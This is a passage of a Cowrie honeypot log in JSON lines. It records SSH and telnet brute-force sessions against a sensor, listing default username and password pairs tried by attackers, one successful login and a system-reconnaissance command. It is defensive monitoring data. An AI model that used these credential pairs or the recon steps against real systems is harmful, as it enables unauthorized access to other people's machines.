88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.112378Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.170954Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.183108Z","src_ip":"192.109.200.78","session":"3492c4c26302","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.240765Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.244783Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.249779Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.267141Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.275138Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.516055Z","src_ip":"192.109.200.78","session":"3492c4c26302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15631437301636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:58.132217Z","src_ip":"206.189.71.75","session":"460edb8ca6c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:58.667118Z","src_ip":"192.109.200.78","session":"3492c4c26302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55574,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6f7e726692","protocol":"ssh","message":"New connection: 192.109.200.78:55574 (10.17.0.5:22) [session: 7a6f7e726692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:01.138331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:01.144077Z","src_ip":"192.109.200.78","session":"7a6f7e726692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:01.227719Z","src_ip":"192.109.200.78","session":"7a6f7e726692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:01.482157Z","src_ip":"192.109.200.78","session":"7a6f7e726692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:02.572295Z","src_ip":"192.109.200.78","session":"7a6f7e726692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40982961654663,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:04.192758Z","src_ip":"206.189.71.75","session":"9fbbd1af8cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6015191078186,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:04.534319Z","src_ip":"206.189.71.75","session":"3fb9e74b2c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55580,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad0d7b6463a","protocol":"ssh","message":"New connection: 192.109.200.78:55580 (10.17.0.5:22) [session: 8ad0d7b6463a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.294544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.299642Z","src_ip":"192.109.200.78","session":"8ad0d7b6463a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.387572Z","src_ip":"192.109.200.78","session":"8ad0d7b6463a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.634251Z","src_ip":"192.109.200.78","session":"8ad0d7b6463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.744503021240234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.926125Z","src_ip":"206.189.71.75","session":"2b7c6c84b3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35818,"dst_ip":"159.203.135.109","dst_port":23,"session":"851673086b1e","protocol":"telnet","message":"New connection: 206.189.71.75:35818 (159.203.135.109:23) [session: 851673086b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:05.975239Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:06.725875Z","src_ip":"192.109.200.78","session":"8ad0d7b6463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.58877611160278,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:07.361407Z","src_ip":"206.189.71.75","session":"54ed36195b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38406,"dst_ip":"159.203.135.109","dst_port":23,"session":"c349d053ebf1","protocol":"telnet","message":"New connection: 206.189.71.75:38406 (159.203.135.109:23) [session: c349d053ebf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:07.611737Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48724,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2739cb0c12","protocol":"ssh","message":"New connection: 192.109.200.78:48724 (10.17.0.5:22) [session: 2d2739cb0c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:09.569865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:09.574795Z","src_ip":"192.109.200.78","session":"2d2739cb0c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53004312515259,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:09.635737Z","src_ip":"206.189.71.75","session":"54391660345c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:09.657186Z","src_ip":"192.109.200.78","session":"2d2739cb0c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:09.906501Z","src_ip":"192.109.200.78","session":"2d2739cb0c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39682,"dst_ip":"159.203.135.109","dst_port":23,"session":"6412c33a2200","protocol":"telnet","message":"New connection: 206.189.71.75:39682 (159.203.135.109:23) [session: 6412c33a2200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:10.048686Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d855329ff35","protocol":"telnet","message":"New connection: 206.189.71.75:39902 (159.203.135.109:23) [session: 3d855329ff35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:10.283253Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:10.992547Z","src_ip":"192.109.200.78","session":"2d2739cb0c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41240,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c3483564e7","protocol":"telnet","message":"New connection: 206.189.71.75:41240 (159.203.135.109:23) [session: 48c3483564e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:11.054368Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42922,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9bccb9ba05b","protocol":"telnet","message":"New connection: 206.189.71.75:42922 (159.203.135.109:23) [session: f9bccb9ba05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:13.063761Z"}
{"eventid":"cowrie.session.closed","duration":36.41497349739075,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:14.026061Z","src_ip":"206.189.71.75","session":"b7adb72775b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48726,"dst_ip":"10.17.0.5","dst_port":22,"session":"3940bc39f6f8","protocol":"ssh","message":"New connection: 192.109.200.78:48726 (10.17.0.5:22) [session: 3940bc39f6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:14.799502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:14.805811Z","src_ip":"192.109.200.78","session":"3940bc39f6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:14.893023Z","src_ip":"192.109.200.78","session":"3940bc39f6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:15.311301Z","src_ip":"192.109.200.78","session":"3940bc39f6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:16.408347Z","src_ip":"192.109.200.78","session":"3940bc39f6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.89251160621643,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:16.749352Z","src_ip":"206.189.71.75","session":"e25be28c5626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.804245710372925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:17.584947Z","src_ip":"206.189.71.75","session":"6ffea03aea15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48736,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3c40fae7d12","protocol":"ssh","message":"New connection: 192.109.200.78:48736 (10.17.0.5:22) [session: e3c40fae7d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:17.959283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:17.963645Z","src_ip":"192.109.200.78","session":"e3c40fae7d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:18.047981Z","src_ip":"192.109.200.78","session":"e3c40fae7d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:18.294290Z","src_ip":"192.109.200.78","session":"e3c40fae7d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:19.385077Z","src_ip":"192.109.200.78","session":"e3c40fae7d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4ca8b7c5f4","protocol":"ssh","message":"New connection: 192.109.200.78:51650 (10.17.0.5:22) [session: bb4ca8b7c5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:22.000383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:22.150460Z","src_ip":"192.109.200.78","session":"bb4ca8b7c5f4","protocol":"ssh"}
